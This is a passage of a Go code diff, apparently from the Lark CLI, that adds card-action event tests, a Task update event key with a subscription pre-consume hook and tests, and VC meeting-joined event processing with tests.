|
||||
"operator": {"open_id": "ou_input_user"},
|
||||
"token": "c-token-input",
|
||||
"host": "im_message",
|
||||
"action": {
|
||||
"tag": "input",
|
||||
"value": {},
|
||||
"name": "text_input",
|
||||
"input_value": "hello world",
|
||||
"options": [],
|
||||
"checked": false
|
||||
},
|
||||
"context": {
|
||||
"open_message_id": "om_input_001",
|
||||
"open_chat_id": "oc_chat_004"
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runCardAction(t, payload, nil)
|
||||
|
||||
if out.InputValue != "hello world" {
|
||||
t.Errorf("InputValue = %q", out.InputValue)
|
||||
}
|
||||
if out.ActionTag != "input" {
|
||||
t.Errorf("ActionTag = %q", out.ActionTag)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessCardAction_DatePicker(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_date_001",
|
||||
"event_type": "card.action.trigger",
|
||||
"create_time": "1776409469277"
|
||||
},
|
||||
"event": {
|
||||
"operator": {"open_id": "ou_date_user"},
|
||||
"token": "c-token-date",
|
||||
"host": "im_message",
|
||||
"action": {
|
||||
"tag": "date_picker",
|
||||
"value": {},
|
||||
"name": "date_selector",
|
||||
"option": "2024-04-01 +0800",
|
||||
"timezone": "Asia/Shanghai",
|
||||
"options": [],
|
||||
"checked": false
|
||||
},
|
||||
"context": {
|
||||
"open_message_id": "om_date_001",
|
||||
"open_chat_id": "oc_chat_005"
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runCardAction(t, payload, nil)
|
||||
|
||||
if out.Option != "2024-04-01 +0800" {
|
||||
t.Errorf("Option = %q", out.Option)
|
||||
}
|
||||
if out.Timezone != "Asia/Shanghai" {
|
||||
t.Errorf("Timezone = %q", out.Timezone)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessCardAction_MalformedPayload(t *testing.T) {
|
||||
raw := &event.RawEvent{
|
||||
EventID: "ev_bad",
|
||||
EventType: "card.action.trigger",
|
||||
Payload: json.RawMessage(`not json`),
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
got, err := processCardAction(context.Background(), nil, raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Process should swallow parse errors, got %v", err)
|
||||
}
|
||||
if string(got) != "not json" {
|
||||
t.Errorf("malformed fallback output = %q, want original bytes", string(got))
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessCardAction_MessageGetSuccess(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_mg_ok",
|
||||
"event_type": "card.action.trigger",
|
||||
"create_time": "1776409469278"
|
||||
},
|
||||
"event": {
|
||||
"operator": {"open_id": "ou_mg_user"},
|
||||
"token": "c-token-mg",
|
||||
"host": "im_message",
|
||||
"action": {
|
||||
"tag": "button",
|
||||
"value": {"key": "click"},
|
||||
"name": "btn",
|
||||
"form_value": {},
|
||||
"options": [],
|
||||
"checked": false
|
||||
},
|
||||
"context": {
|
||||
"open_message_id": "om_mg_001",
|
||||
"open_chat_id": "oc_chat_mg"
|
||||
}
|
||||
}
|
||||
}`
|
||||
cardContent := `{"header":{"title":{"tag":"plain_text","content":"A card"}}}`
|
||||
mock := &mockAPIClient{resp: `{
|
||||
"code": 0,
|
||||
"msg": "success",
|
||||
"data": {
|
||||
"items": [{
|
||||
"body": {"content": "` + escapeJSON(cardContent) + `"}
|
||||
}]
|
||||
}
|
||||
}`}
|
||||
out := runCardAction(t, payload, mock)
|
||||
|
||||
if out.CardContent == "" {
|
||||
t.Error("CardContent should not be empty when message get succeeds")
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessCardAction_MessageGetErrorCode(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_mg_ec",
|
||||
"event_type": "card.action.trigger",
|
||||
"create_time": "1776409469279"
|
||||
},
|
||||
"event": {
|
||||
"operator": {"open_id": "ou_mg_user2"},
|
||||
"token": "c-token-mg2",
|
||||
"host": "im_message",
|
||||
"action": {
|
||||
"tag": "button",
|
||||
"value": {},
|
||||
"name": "btn",
|
||||
"form_value": {},
|
||||
"options": [],
|
||||
"checked": false
|
||||
},
|
||||
"context": {
|
||||
"open_message_id": "om_mg_002",
|
||||
"open_chat_id": "oc_chat_mg2"
|
||||
}
|
||||
}
|
||||
}`
|
||||
mock := &mockAPIClient{resp: `{"code": 1, "msg": "error", "data": {"items": []}}`}
|
||||
out := runCardAction(t, payload, mock)
|
||||
|
||||
if out.CardContent != "" {
|
||||
t.Errorf("CardContent should be empty when code != 0, got %q", out.CardContent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessCardAction_MessageGetFailure(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_mg_fail",
|
||||
"event_type": "card.action.trigger",
|
||||
"create_time": "1776409469280"
|
||||
},
|
||||
"event": {
|
||||
"operator": {"open_id": "ou_mg_user3"},
|
||||
"token": "c-token-mg3",
|
||||
"host": "im_message",
|
||||
"action": {
|
||||
"tag": "button",
|
||||
"value": {},
|
||||
"name": "btn",
|
||||
"form_value": {},
|
||||
"options": [],
|
||||
"checked": false
|
||||
},
|
||||
"context": {
|
||||
"open_message_id": "om_mg_003",
|
||||
"open_chat_id": "oc_chat_mg3"
|
||||
}
|
||||
}
|
||||
}`
|
||||
mock := &mockAPIClient{errResp: true}
|
||||
out := runCardAction(t, payload, mock)
|
||||
|
||||
if out.CardContent != "" {
|
||||
t.Errorf("CardContent should be empty when message get fails, got %q", out.CardContent)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessCardAction_EmptyMessageID(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_no_msg",
|
||||
"event_type": "card.action.trigger",
|
||||
"create_time": "1776409469281"
|
||||
},
|
||||
"event": {
|
||||
"operator": {"open_id": "ou_no_msg"},
|
||||
"token": "c-token-nm",
|
||||
"host": "im_message",
|
||||
"action": {
|
||||
"tag": "button",
|
||||
"value": {},
|
||||
"name": "btn",
|
||||
"form_value": {},
|
||||
"options": [],
|
||||
"checked": false
|
||||
},
|
||||
"context": {
|
||||
"open_message_id": "",
|
||||
"open_chat_id": "oc_chat_nm"
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runCardAction(t, payload, nil)
|
||||
|
||||
if out.CardContent != "" {
|
||||
t.Errorf("CardContent should be empty when message_id is absent, got %q", out.CardContent)
|
||||
}
|
||||
}
|
||||
|
||||
type mockAPIClient struct {
|
||||
resp string
|
||||
errResp bool
|
||||
}
|
||||
|
||||
func (m *mockAPIClient) CallAPI(_ context.Context, _, _ string, _ interface{}) (json.RawMessage, error) {
|
||||
if m.errResp {
|
||||
return nil, context.DeadlineExceeded
|
||||
}
|
||||
return json.RawMessage(m.resp), nil
|
||||
}
|
||||
|
||||
func runCardAction(t *testing.T, payload string, rt event.APIClient) CardActionTriggerOutput {
|
||||
t.Helper()
|
||||
raw := &event.RawEvent{
|
||||
EventID: "ev_test",
|
||||
EventType: "card.action.trigger",
|
||||
Payload: json.RawMessage(payload),
|
||||
Timestamp: time.Now(),
|
||||
}
|
||||
got, err := processCardAction(context.Background(), rt, raw, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("Process error: %v", err)
|
||||
}
|
||||
var out CardActionTriggerOutput
|
||||
if err := json.Unmarshal(got, &out); err != nil {
|
||||
t.Fatalf("Process output is not valid CardActionTriggerOutput JSON: %v\nraw=%s", err, string(got))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func escapeJSON(s string) string {
|
||||
b, _ := json.Marshal(s)
|
||||
return string(b[1 : len(b)-1])
|
||||
}
|
||||
@@ -27,6 +27,21 @@ func Keys() []event.KeyDefinition {
|
||||
AuthTypes: []string{"bot"},
|
||||
RequiredConsoleEvents: []string{"im.message.receive_v1"},
|
||||
},
|
||||
{
|
||||
Key: "card.action.trigger",
|
||||
DisplayName: "Card action",
|
||||
Description: "Triggered when a user interacts with an interactive card (button click, form submit, dropdown select, etc.). Output includes: token (valid 30 min, max 2 updates), action details (tag, value, name, form_value), and card_content (original card in userDSL text format, auto-fetched at consume time). To update the card: parse card_content to understand the current state, construct the new card JSON, then call `lark-cli api POST /open-apis/interactive/v1/card/update` with the token (see lark-im-card-action-reply.md).",
|
||||
EventType: "card.action.trigger",
|
||||
SubscriptionType: event.SubTypeCallback,
|
||||
Schema: event.SchemaDef{
|
||||
Custom: &event.SchemaSpec{Type: reflect.TypeOf(CardActionTriggerOutput{})},
|
||||
},
|
||||
Process: processCardAction,
|
||||
Scopes: []string{"im:message:readonly"},
|
||||
AuthTypes: []string{"bot"},
|
||||
SingleConsumer: true,
|
||||
RequiredConsoleEvents: []string{"card.action.trigger"},
|
||||
},
|
||||
}
|
||||
|
||||
for _, rk := range nativeIMKeys {
|
||||
|
||||
@@ -7,6 +7,7 @@ package events
|
||||
import (
|
||||
"github.com/larksuite/cli/events/im"
|
||||
"github.com/larksuite/cli/events/minutes"
|
||||
"github.com/larksuite/cli/events/task"
|
||||
"github.com/larksuite/cli/events/vc"
|
||||
"github.com/larksuite/cli/events/whiteboard"
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
@@ -17,6 +18,7 @@ func init() {
|
||||
all := [][]event.KeyDefinition{
|
||||
im.Keys(),
|
||||
minutes.Keys(),
|
||||
task.Keys(),
|
||||
vc.Keys(),
|
||||
whiteboard.Keys(),
|
||||
}
|
||||
|
||||
23
events/task/native.go
Normal file
23
events/task/native.go
Normal file
@@ -0,0 +1,23 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package task
|
||||
|
||||
// TaskUpdateUserAccessV2Data is the Task v2 update event payload under the
|
||||
// standard Lark V2 event envelope.
|
||||
type TaskUpdateUserAccessV2Data struct {
|
||||
EventTypes []string `json:"event_types,omitempty" desc:"Task commit types included in this event" enum:"task_create,task_deleted,task_summary_update,task_desc_update,task_assignees_update,task_followers_update,task_reminders_update,task_start_due_update,task_completed_update"`
|
||||
TaskGUID string `json:"task_guid,omitempty" desc:"Task GUID that changed" kind:"task_guid"`
|
||||
}
|
||||
|
||||
var taskUpdateUserAccessCommitTypes = []string{
|
||||
"task_create",
|
||||
"task_deleted",
|
||||
"task_summary_update",
|
||||
"task_desc_update",
|
||||
"task_assignees_update",
|
||||
"task_followers_update",
|
||||
"task_reminders_update",
|
||||
"task_start_due_update",
|
||||
"task_completed_update",
|
||||
}
|
||||
32
events/task/preconsume.go
Normal file
32
events/task/preconsume.go
Normal file
@@ -0,0 +1,32 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package task
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
const taskSubscriptionPath = "/open-apis/task/v2/task_v2/task_subscription?user_id_type=open_id"
|
||||
|
||||
func taskSubscriptionPreConsume(ctx context.Context, rt event.APIClient, _ map[string]string) (func() error, error) {
|
||||
if rt == nil {
|
||||
return nil, errs.NewInternalError(errs.SubtypeUnknown,
|
||||
"runtime API client is required for pre-consume subscription")
|
||||
}
|
||||
|
||||
if _, err := rt.CallAPI(ctx, "POST", taskSubscriptionPath, nil); err != nil {
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return nil, err
|
||||
}
|
||||
return nil, errs.NewNetworkError(
|
||||
errs.SubtypeNetworkTransport,
|
||||
"failed to subscribe task event",
|
||||
).WithCause(err)
|
||||
}
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
119
events/task/preconsume_test.go
Normal file
119
events/task/preconsume_test.go
Normal file
@@ -0,0 +1,119 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package task
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
)
|
||||
|
||||
type stubAPIClient struct {
|
||||
err error
|
||||
|
||||
method string
|
||||
path string
|
||||
body interface{}
|
||||
calls int
|
||||
}
|
||||
|
||||
func (s *stubAPIClient) CallAPI(_ context.Context, method, path string, body interface{}) (json.RawMessage, error) {
|
||||
s.method = method
|
||||
s.path = path
|
||||
s.body = body
|
||||
s.calls++
|
||||
if s.err != nil {
|
||||
return nil, s.err
|
||||
}
|
||||
return json.RawMessage(`{"code":0,"msg":"success","data":{}}`), nil
|
||||
}
|
||||
|
||||
func TestTaskSubscriptionPreConsumeCallsSubscribeAPI(t *testing.T) {
|
||||
rt := &stubAPIClient{}
|
||||
cleanup, err := taskSubscriptionPreConsume(context.Background(), rt, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("taskSubscriptionPreConsume error = %v", err)
|
||||
}
|
||||
if cleanup != nil {
|
||||
t.Fatal("cleanup = non-nil, want nil because task subscription has no unsubscribe API")
|
||||
}
|
||||
if rt.calls != 1 {
|
||||
t.Fatalf("calls = %d, want 1", rt.calls)
|
||||
}
|
||||
if rt.method != "POST" {
|
||||
t.Errorf("method = %q, want POST", rt.method)
|
||||
}
|
||||
if rt.path != taskSubscriptionPath {
|
||||
t.Errorf("path = %q, want %q", rt.path, taskSubscriptionPath)
|
||||
}
|
||||
if rt.body != nil {
|
||||
t.Errorf("body = %#v, want nil", rt.body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTaskSubscriptionPreConsumeRequiresRuntime(t *testing.T) {
|
||||
_, err := taskSubscriptionPreConsume(context.Background(), nil, nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryInternal {
|
||||
t.Errorf("category = %s, want %s", p.Category, errs.CategoryInternal)
|
||||
}
|
||||
if p.Subtype != errs.SubtypeUnknown {
|
||||
t.Errorf("subtype = %s, want %s", p.Subtype, errs.SubtypeUnknown)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTaskSubscriptionPreConsumePassesThroughAPIError(t *testing.T) {
|
||||
wantErr := errs.NewValidationError(errs.SubtypeFailedPrecondition, "subscription already exists")
|
||||
rt := &stubAPIClient{err: wantErr}
|
||||
|
||||
_, err := taskSubscriptionPreConsume(context.Background(), rt, nil)
|
||||
if err != wantErr {
|
||||
t.Fatalf("err identity changed: got %T %v, want original %T %v", err, err, wantErr, wantErr)
|
||||
}
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("err = %v, want %v", err, wantErr)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryValidation {
|
||||
t.Errorf("category = %s, want %s", p.Category, errs.CategoryValidation)
|
||||
}
|
||||
if p.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("subtype = %s, want %s", p.Subtype, errs.SubtypeFailedPrecondition)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTaskSubscriptionPreConsumeWrapsUntypedAPIError(t *testing.T) {
|
||||
cause := errors.New("connection reset")
|
||||
rt := &stubAPIClient{err: cause}
|
||||
|
||||
_, err := taskSubscriptionPreConsume(context.Background(), rt, nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected error")
|
||||
}
|
||||
if !errors.Is(err, cause) {
|
||||
t.Fatalf("err = %v, want cause %v", err, cause)
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryNetwork {
|
||||
t.Errorf("category = %s, want %s", p.Category, errs.CategoryNetwork)
|
||||
}
|
||||
if p.Subtype != errs.SubtypeNetworkTransport {
|
||||
t.Errorf("subtype = %s, want %s", p.Subtype, errs.SubtypeNetworkTransport)
|
||||
}
|
||||
}
|
||||
33
events/task/register.go
Normal file
33
events/task/register.go
Normal file
@@ -0,0 +1,33 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
// Package task registers Task-domain EventKeys.
|
||||
package task
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
const eventTypeTaskUpdateUserAccessV2 = "task.task.update_user_access_v2"
|
||||
|
||||
// Keys returns all Task-domain EventKey definitions.
|
||||
func Keys() []event.KeyDefinition {
|
||||
return []event.KeyDefinition{
|
||||
{
|
||||
Key: eventTypeTaskUpdateUserAccessV2,
|
||||
DisplayName: "Task updated",
|
||||
Description: "Triggered when tasks visible to the current user or app are created, deleted, or updated",
|
||||
EventType: eventTypeTaskUpdateUserAccessV2,
|
||||
Schema: event.SchemaDef{
|
||||
Native: &event.SchemaSpec{Type: reflect.TypeOf(TaskUpdateUserAccessV2Data{})},
|
||||
},
|
||||
PreConsume: taskSubscriptionPreConsume,
|
||||
Scopes: []string{"task:task:read"},
|
||||
AuthTypes: []string{"user", "bot"},
|
||||
RequiredConsoleEvents: []string{eventTypeTaskUpdateUserAccessV2},
|
||||
SingleConsumer: true,
|
||||
},
|
||||
}
|
||||
}
|
||||
95
events/task/register_test.go
Normal file
95
events/task/register_test.go
Normal file
@@ -0,0 +1,95 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package task
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"reflect"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
"github.com/larksuite/cli/internal/event/schemas"
|
||||
)
|
||||
|
||||
func TestKeysTaskUpdateUserAccessMetadata(t *testing.T) {
|
||||
keys := Keys()
|
||||
if len(keys) != 1 {
|
||||
t.Fatalf("len(Keys()) = %d, want 1", len(keys))
|
||||
}
|
||||
|
||||
def := keys[0]
|
||||
if def.Key != eventTypeTaskUpdateUserAccessV2 {
|
||||
t.Errorf("Key = %q, want %q", def.Key, eventTypeTaskUpdateUserAccessV2)
|
||||
}
|
||||
if def.EventType != eventTypeTaskUpdateUserAccessV2 {
|
||||
t.Errorf("EventType = %q, want %q", def.EventType, eventTypeTaskUpdateUserAccessV2)
|
||||
}
|
||||
if def.Schema.Native == nil {
|
||||
t.Fatal("Schema.Native is nil")
|
||||
}
|
||||
if def.Schema.Native.Type != reflect.TypeOf(TaskUpdateUserAccessV2Data{}) {
|
||||
t.Errorf("native type = %v, want TaskUpdateUserAccessV2Data", def.Schema.Native.Type)
|
||||
}
|
||||
if def.Process != nil {
|
||||
t.Fatal("Native Task EventKey must not set Process")
|
||||
}
|
||||
if def.PreConsume == nil {
|
||||
t.Fatal("PreConsume is nil")
|
||||
}
|
||||
if !def.SingleConsumer {
|
||||
t.Fatal("SingleConsumer = false, want true")
|
||||
}
|
||||
if !reflect.DeepEqual(def.Scopes, []string{"task:task:read"}) {
|
||||
t.Errorf("Scopes = %#v", def.Scopes)
|
||||
}
|
||||
if !reflect.DeepEqual(def.AuthTypes, []string{"user", "bot"}) {
|
||||
t.Errorf("AuthTypes = %#v", def.AuthTypes)
|
||||
}
|
||||
if !reflect.DeepEqual(def.RequiredConsoleEvents, []string{eventTypeTaskUpdateUserAccessV2}) {
|
||||
t.Errorf("RequiredConsoleEvents = %#v", def.RequiredConsoleEvents)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTaskUpdateUserAccessSchemaAnnotations(t *testing.T) {
|
||||
raw := schemas.WrapV2Envelope(schemas.FromType(reflect.TypeOf(TaskUpdateUserAccessV2Data{})))
|
||||
var schema map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &schema); err != nil {
|
||||
t.Fatalf("unmarshal schema: %v", err)
|
||||
}
|
||||
|
||||
eventProps := schema["properties"].(map[string]interface{})["event"].(map[string]interface{})["properties"].(map[string]interface{})
|
||||
taskGUID := eventProps["task_guid"].(map[string]interface{})
|
||||
if got := taskGUID["format"]; got != "task_guid" {
|
||||
t.Errorf("task_guid format = %v, want task_guid", got)
|
||||
}
|
||||
|
||||
eventTypes := eventProps["event_types"].(map[string]interface{})
|
||||
items := eventTypes["items"].(map[string]interface{})
|
||||
rawEnum, ok := items["enum"].([]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("event_types item enum missing: %#v", items["enum"])
|
||||
}
|
||||
got := make(map[string]bool, len(rawEnum))
|
||||
for _, v := range rawEnum {
|
||||
got[v.(string)] = true
|
||||
}
|
||||
for _, want := range taskUpdateUserAccessCommitTypes {
|
||||
if !got[want] {
|
||||
t.Errorf("event_types enum missing %q; enum=%v", want, rawEnum)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestTaskUpdateUserAccessRegistersCleanly(t *testing.T) {
|
||||
const key = eventTypeTaskUpdateUserAccessV2
|
||||
event.UnregisterKeyForTest(key)
|
||||
t.Cleanup(func() { event.UnregisterKeyForTest(key) })
|
||||
|
||||
for _, def := range Keys() {
|
||||
event.RegisterKey(def)
|
||||
}
|
||||
if _, ok := event.Lookup(key); !ok {
|
||||
t.Fatalf("event.Lookup(%q) not registered", key)
|
||||
}
|
||||
}
|
||||
62
events/vc/participant_meeting_joined.go
Normal file
62
events/vc/participant_meeting_joined.go
Normal file
@@ -0,0 +1,62 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package vc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
// VCParticipantMeetingJoinedOutput is the flattened shape for vc.meeting.participant_meeting_joined_v1.
|
||||
type VCParticipantMeetingJoinedOutput struct {
|
||||
Type string `json:"type" desc:"Event type; always vc.meeting.participant_meeting_joined_v1"`
|
||||
EventID string `json:"event_id,omitempty" desc:"Globally unique event ID; safe for deduplication"`
|
||||
Timestamp string `json:"timestamp,omitempty" desc:"Event delivery time (ms timestamp string); taken from header.create_time when present" kind:"timestamp_ms"`
|
||||
MeetingID string `json:"meeting_id,omitempty" desc:"Meeting ID" kind:"meeting_id"`
|
||||
Topic string `json:"topic,omitempty" desc:"Meeting topic"`
|
||||
MeetingNo string `json:"meeting_no,omitempty" desc:"Meeting number"`
|
||||
StartTime string `json:"start_time,omitempty" desc:"Meeting start time in RFC3339, converted to the local timezone"`
|
||||
CalendarEventID string `json:"calendar_event_id,omitempty" desc:"Calendar event ID associated with the meeting"`
|
||||
}
|
||||
|
||||
func processVCParticipantMeetingJoined(_ context.Context, _ event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
|
||||
var envelope struct {
|
||||
Header struct {
|
||||
EventID string `json:"event_id"`
|
||||
EventType string `json:"event_type"`
|
||||
CreateTime string `json:"create_time"`
|
||||
} `json:"header"`
|
||||
Event struct {
|
||||
Meeting struct {
|
||||
ID string `json:"id"`
|
||||
Topic string `json:"topic"`
|
||||
MeetingNo string `json:"meeting_no"`
|
||||
StartTime string `json:"start_time"`
|
||||
EndTime string `json:"end_time"`
|
||||
CalendarEventID string `json:"calendar_event_id"`
|
||||
} `json:"meeting"`
|
||||
} `json:"event"`
|
||||
}
|
||||
if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
|
||||
return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload so consumers still see the event
|
||||
}
|
||||
|
||||
meeting := envelope.Event.Meeting
|
||||
out := &VCParticipantMeetingJoinedOutput{
|
||||
Type: envelope.Header.EventType,
|
||||
EventID: envelope.Header.EventID,
|
||||
Timestamp: envelope.Header.CreateTime,
|
||||
MeetingID: meeting.ID,
|
||||
Topic: meeting.Topic,
|
||||
MeetingNo: meeting.MeetingNo,
|
||||
StartTime: unixSecondsToLocalRFC3339(meeting.StartTime),
|
||||
CalendarEventID: meeting.CalendarEventID,
|
||||
}
|
||||
if out.Type == "" {
|
||||
out.Type = raw.EventType
|
||||
}
|
||||
return json.Marshal(out)
|
||||
}
|
||||
281
events/vc/participant_meeting_lifecycle_test.go
Normal file
281
events/vc/participant_meeting_lifecycle_test.go
Normal file
@@ -0,0 +1,281 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package vc
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
func TestVCKeys_ProcessedMeetingLifecycleRegistered(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
|
||||
for _, tc := range []struct {
|
||||
eventType string
|
||||
schemaType reflect.Type
|
||||
}{
|
||||
{eventTypeMeetingStarted, reflect.TypeOf(VCParticipantMeetingStartedOutput{})},
|
||||
{eventTypeMeetingJoined, reflect.TypeOf(VCParticipantMeetingJoinedOutput{})},
|
||||
} {
|
||||
t.Run(tc.eventType, func(t *testing.T) {
|
||||
def, ok := event.Lookup(tc.eventType)
|
||||
if !ok {
|
||||
t.Fatalf("%s should be registered via Keys()", tc.eventType)
|
||||
}
|
||||
if def.Schema.Custom == nil {
|
||||
t.Error("Processed key must set Schema.Custom")
|
||||
}
|
||||
if def.Schema.Native != nil {
|
||||
t.Error("Processed key must not set Schema.Native")
|
||||
}
|
||||
if def.Process == nil {
|
||||
t.Error("Process must not be nil for processed key")
|
||||
}
|
||||
if def.PreConsume == nil {
|
||||
t.Error("PreConsume must not be nil for processed key")
|
||||
}
|
||||
if len(def.Scopes) != 1 || def.Scopes[0] != "vc:meeting.meetingevent:read" {
|
||||
t.Errorf("Scopes = %v", def.Scopes)
|
||||
}
|
||||
if len(def.AuthTypes) != 1 || def.AuthTypes[0] != "user" {
|
||||
t.Errorf("AuthTypes = %v", def.AuthTypes)
|
||||
}
|
||||
if len(def.RequiredConsoleEvents) != 1 || def.RequiredConsoleEvents[0] != tc.eventType {
|
||||
t.Errorf("RequiredConsoleEvents = %v", def.RequiredConsoleEvents)
|
||||
}
|
||||
if def.Schema.Custom.Type != tc.schemaType {
|
||||
t.Errorf("Custom schema Type = %v, want %v", def.Schema.Custom.Type, tc.schemaType)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessVCParticipantMeetingLifecycle(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
eventType string
|
||||
process event.ProcessFunc
|
||||
}{
|
||||
{
|
||||
name: "started",
|
||||
eventType: eventTypeMeetingStarted,
|
||||
process: processVCParticipantMeetingStarted,
|
||||
},
|
||||
{
|
||||
name: "joined",
|
||||
eventType: eventTypeMeetingJoined,
|
||||
process: processVCParticipantMeetingJoined,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_vc_lifecycle_001",
|
||||
"event_type": "` + tc.eventType + `",
|
||||
"create_time": "1608725989000",
|
||||
"app_id": "cli_test"
|
||||
},
|
||||
"event": {
|
||||
"meeting": {
|
||||
"id": "6911188411934433028",
|
||||
"topic": "my meeting",
|
||||
"meeting_no": "235812466",
|
||||
"start_time": "1608883322",
|
||||
"end_time": "1608883899",
|
||||
"calendar_event_id": "efa67a98-06a8-4df5-8559-746c8f4477ef_0"
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runMeetingLifecycleMap(t, tc.eventType, tc.process, payload)
|
||||
|
||||
if out["type"] != tc.eventType {
|
||||
t.Errorf("type = %q", out["type"])
|
||||
}
|
||||
if out["event_id"] != "ev_vc_lifecycle_001" {
|
||||
t.Errorf("event_id = %q", out["event_id"])
|
||||
}
|
||||
if out["timestamp"] != "1608725989000" {
|
||||
t.Errorf("timestamp = %q", out["timestamp"])
|
||||
}
|
||||
if out["meeting_id"] != "6911188411934433028" {
|
||||
t.Errorf("meeting_id = %q", out["meeting_id"])
|
||||
}
|
||||
if out["topic"] != "my meeting" || out["meeting_no"] != "235812466" {
|
||||
t.Errorf("topic/meeting_no = %q/%q", out["topic"], out["meeting_no"])
|
||||
}
|
||||
if out["calendar_event_id"] != "efa67a98-06a8-4df5-8559-746c8f4477ef_0" {
|
||||
t.Errorf("calendar_event_id = %q", out["calendar_event_id"])
|
||||
}
|
||||
if want := time.Unix(1608883322, 0).Local().Format(time.RFC3339); out["start_time"] != want {
|
||||
t.Errorf("start_time = %q, want %q", out["start_time"], want)
|
||||
}
|
||||
if _, hasEndTime := out["end_time"]; hasEndTime {
|
||||
t.Error("end_time should not be present in started/joined output")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessVCParticipantMeetingLifecycle_InvalidMeetingTimes(t *testing.T) {
|
||||
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
eventType string
|
||||
process event.ProcessFunc
|
||||
}{
|
||||
{"started", eventTypeMeetingStarted, processVCParticipantMeetingStarted},
|
||||
{"joined", eventTypeMeetingJoined, processVCParticipantMeetingJoined},
